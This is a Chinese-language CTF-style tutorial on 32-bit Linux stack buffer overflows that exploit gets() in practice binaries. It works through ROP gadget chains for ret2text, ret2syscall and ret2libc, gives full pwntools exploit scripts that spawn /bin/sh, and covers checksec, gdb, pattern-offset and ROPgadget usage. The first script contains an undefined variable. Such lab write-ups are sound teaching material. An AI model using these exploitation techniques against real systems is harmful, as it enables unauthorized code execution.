内容简介:最近在复习pwn的一些知识。主要涉及到当堆栈开启了保护的时候,我们不能够直接将shellcode覆盖到堆栈中执行,而需要利用程序其他部分的可执行的小片段来连接成最终的shellcode。此小片段就是gadgets。本文主要通过练习题的方式讲述如何寻找gadgets,如何利用现有的工具来加速自己的pwn的效率。Gadgets的类型和难度也逐步变化。下面带来手把手教你linux pwn。让你的pwn技术从入门到熟练。练习题的难度逐步加大。第一关的gadgets较为简单,包含了一个直接可以利用的,可返回shel
最近在复习pwn的一些知识。主要涉及到当堆栈开启了保护的时候,我们不能够直接将shellcode覆盖到堆栈中执行,而需要利用程序其他部分的可执行的小片段来连接成最终的shellcode。此小片段就是gadgets。本文主要通过练习题的方式讲述如何寻找gadgets,如何利用现有的 工具 来加速自己的pwn的效率。Gadgets的类型和难度也逐步变化。下面带来手把手教你linux pwn。让你的pwn技术从入门到熟练。练习题的难度逐步加大。
第一关
第一关的gadgets较为简单,包含了一个直接可以利用的,可返回 shell 的函数。我们只要计算好覆盖的偏移,将可返回shell函数的地址覆盖到相应的位置即可以。程序下载: Pwn1
我们首先来查看一下该程序的保护情况,发现开启了堆栈保护。即NX enabled。且是32bit的程序。因此需要在32位的 linux 环境下测试。
这里涉及到一个工具, chechsec 。该工具专门用来检测程序中受保护的情况,我们可以根据程序受保护的情况来选择对应的pwn策略。
下载以后,直接在命令行中建立符号链接就可以在terminal中直接使用了
sudo ln –sf checksec /usr/bin/checksec
接下来我们利用IDA查看一下程序的源代码:
可以发现漏洞出现在gets里面,gets函数存在缓冲区溢出漏洞,我们可以通过超长的字符串来覆盖缓冲区,从而修改ROP。为了达到这个目的,我们需要首先计算,输入的&s的堆栈地址位置距离堆栈的底部ebp的位置。Ebp的下一个地址,就是记录了返回地址的位置。在32位的程序中,就是ebp+4。其中,Esp是栈顶指针,ebp是栈底指针。Esp -> ebp, 地址从小到大。小地址栈顶,大地址栈底。
我们有两种方法可以得到s距离返回地址的偏移:徒手计算和利用patternoffset产生字符串。
首先第一种方法,徒手计算。我们利用gdb的辅助工具gef来辅助查看esp地址。
注意,这里需要按照这个辅助工具, gef ,该工具会提供更加丰富的调试信息。包括堆栈信息,寄存器信息等。按照完毕之后,使用gdb –q *.elf执行就可以。
启动的程序之后,我们在上述get函数的位置下断点,即0x080486AE
可以看到 esp 为 0xbfffeed0,ebp为0xbfffef58,同时 s 相对于 esp 的索引为[esp+80h-64h]= [esp+0x1c]。所以s的地址为 0xbfffeeec,所以 s 相对于 ebp 的偏移为 0x6C(108),所以相对于返回地址的偏移为 0x6c+4(112)。
另外一种方法是利用patternoffset执行来计算。借助到这个工具 patternoffset 。下载下来直接作为 python 脚本使用。利用下面的命令产生字符串到test的文件中:
python patternLocOffset.py -c -l 700 -f test
接着远程IDA挂载调试,在程序的返回位置下断点,即retn的位置。
它会在远程的服务器端等待我的输入
~/ $ ./linux_server IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017 Listening on 0.0.0.0:23946... ========================================================= [1] Accepting connection from 192.168.110.1... There is something amazing here, do you know anything?
在这个位置,我就把产生的pattern计算字符串复制进去。(注意,如果这里始终没有让程序停下来让你输入对应的字符串进去的话,就断开ubuntu的server,然后重新连接一下,就会停下来等待我们的字符串输入)
接着,查看程序覆盖的寄存器ebp的内容为0x41366441
再利用offset的脚本计算一下输入的缓冲区地址距离ESP相差多少的字节,相差的是108个字节。ESP之后,存储的就是返回的地址,所以要加上108+4=112字节的偏移。
得到的结果和上面是一致的。
接下来,我们需要找到可以利用的系统调用函数。在IDA中搜索(alt+T)可以利用来的系统sh调用函数:
最后,将需要覆盖的地址0x0804863A填入指定的位置覆盖,在利用pwntools来验证攻击。这里利用到了一个 pwntools 工具。推荐使用基于源代码的安装方式,可以更为方便。
安装方式为:
cd ~ git clone https://github.com/aquynh/capstone cd capstone make make install cd ~ git clone https://github.com/Gallopsled/pwntools cd pwntools python setup.py install
验证:
>>> import pwn
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
>>> pwn.asm("xor eax, eax")
'1xc0'
使用下面的脚本来验证攻击:
from pwn import *
pwn1 = process('./pwn1')
sh = 0x804863a
pwn1.sendline('A' * (112) + p32(target))
pwn1.interactive()
第二关
在这一关中,没有可以直接利用的system()函数让我们直接调用了。我们可以学习使用系统调用来进行操作。系统调用的背景知识在 这里 。
Syscall的函数调用规范为: execve(“/bin/sh”, 0,0);
它对应的汇编代码为:
pop eax, # 系统调用号载入, execve为0xb pop ebx, # 第一个参数, /bin/sh的string pop ecx, # 第二个参数,0 pop edx, # 第三个参数,0 int 0x80, # 执行系统调用
同样的,首先利用工具来查看程序保护情况:
查看程序的代码,发现同样是gets造成的函数溢出。
因此我们这里需要人为的构造了。这里需要用到一个工具,来查到能够控制eax,ebx,ecx,edx。就是 ROPgadget 。下载之后,直接安装
python setup.py install
就可以使用了。执行命令,来查找对一个的汇编指令:
ROPgadget --binary ret2syscall --only 'pop|ret' | grep "eax"
其中—binary 表示目标二进制的路径,—only 表示只显示指定的汇编语句, grep可以展示想要的寄存器。
针对eax选择,0x080bb196 : pop eax ; ret
针对ebx和ecx选择,0x0806eb91 : pop ecx ; pop ebx ; ret
针对edx,选择,0x0806eb6a : pop edx ; ret
执行命令,筛选int 0x80的系统调用, 选择:0x08049421
ROPgadget --binary ret2syscall --only 'int'
执行命令,筛选字符串,得到:0x080be408
ROPgadget --binary ret2syscall --string '/bin/sh'
这里选择的每一个gadgets都含有ret是为了能够使得程序自动持续的选择堆栈中的指令依次执行。在构造这些gadgets之前,我们通过下面的堆栈指针移动图,来分析一下eip指针的移动,以及对应获取的数据内容。ret指令可以理解成去栈顶的数据作为下次跳转的位置。即,
eip = [esp];
esp = esp+4;
或者简单理解成: pop eip;
上图中,左边显示的堆栈的内容,右边是对应的代码。数字表示的是,运行到特定的汇编指令的时候,esp指针的位置。总结下来,我们通过pop指令来移动esp指针获取数据,比如字符串/bin/sh,我们通过ret指令来同样移动esp指针来获取下一条执行的命令。这样,我们就能够在不需要与堆栈中执行程序的情况下,顺利的控制程序控制流的执行。
最终形成的shellcode利用pwntools的代码为:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_ecx_ebx_ret = 0x0806eb91
pop_edx_ret = 0x0806eb6a
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_ecx_ebx_ret, 0,binsh, pop_edx_ret,0, int_0x80])
sh.sendline(payload)
sh.interactive()
第三关
这一关中,我们主要通过导入函数里面的system(“/bin/sh”)函数来完成调用。
发现它的保护也是类似的。该程序与之前类似,都是在gets函数存在漏洞。
首先查找system函数是否存在,利用IDA查看。
查看导入函数表,发现有system的外部调用函数在列表里面,
从而确定地址为0x08048460。
在利用下面的命令查找”/bin/sh”的字符串,确定了字符串的地址为0x08048720
ROPgadget --binary ret2libc1 --string "/bin/sh"
那么就可以依葫芦画瓢的构造shellcode了。
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
system_plt = 0x08048460
sh_addr = 0x8048720
payload = flat(['a' * 112, system_plt, 0xabcdabcd, sh_addr])
sh.sendline(payload)
sh.interactive()
这里解释一下,为什么会有4个字节空余的部分。
这里的部分,在正常调用system函数的时候,堆栈位置的system_plt之后的内容为system函数的返回地址,在之后才是新的堆栈的栈顶位置,因此在system_plt和sh_addr之间增加了4个字符来进行填充。
练习题: pwn4
下面留下一道题大家自己练习,该题目中,含有导入函数system(),但是没有了字符串/bin/sh,需要自己想办法获取这个字符串。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Just My Type
Simon Garfield / Profile Books / 2010-10-21 / GBP 14.99
What's your type? Suddenly everyone's obsessed with fonts. Whether you're enraged by Ikea's Verdanagate, want to know what the Beach Boys have in common with easy Jet or why it's okay to like Comic Sa......一起来看看 《Just My Type》 这本书的介绍吧!